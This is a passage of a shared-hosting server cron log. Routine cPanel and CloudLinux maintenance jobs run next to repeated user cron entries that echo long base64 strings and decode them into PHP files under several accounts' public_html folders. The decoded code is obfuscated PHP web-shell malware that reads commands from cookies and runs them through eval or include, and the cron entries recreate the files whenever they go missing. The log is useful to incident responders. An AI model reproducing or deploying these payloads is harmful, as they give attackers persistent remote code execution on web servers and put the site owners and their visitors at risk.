np6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:05:01 medusa CROND[20981]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:05:01 medusa CROND[20982]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:05:01 medusa CROND[20983]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:05:01 medusa CROND[20984]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 19:05:01 medusa CROND[20985]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:05:01 medusa CROND[20989]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:05:01 medusa CROND[20986]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 19:05:01 medusa CROND[20995]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 19:05:01 medusa CROND[20993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 19:05:01 medusa CROND[20997]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:05:01 medusa CROND[20999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:05:01 medusa CROND[20998]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:05:01 medusa CROND[20996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:05:01 medusa CROND[21002]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 19:05:01 medusa CROND[21005]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:05:01 medusa CROND[21004]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:05:01 medusa CROND[21007]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 19:05:01 medusa CROND[21000]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 19:05:01 medusa CROND[21006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:05:01 medusa CROND[21015]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:05:01 medusa CROND[20988]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:06:02 medusa CROND[13813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:06:02 medusa CROND[13814]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:06:02 medusa CROND[13815]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:06:02 medusa CROND[13816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:06:02 medusa CROND[13817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:06:02 medusa CROND[13818]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:06:02 medusa CROND[13821]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:06:02 medusa CROND[13824]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:06:02 medusa CROND[13825]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:06:02 medusa CROND[13826]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:06:02 medusa CROND[13827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:06:02 medusa CROND[13828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:06:02 medusa CROND[13837]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:06:02 medusa CROND[13839]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:06:02 medusa CROND[13841]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:07:01 medusa CROND[6073]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:07:01 medusa CROND[6075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:07:01 medusa CROND[6076]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVk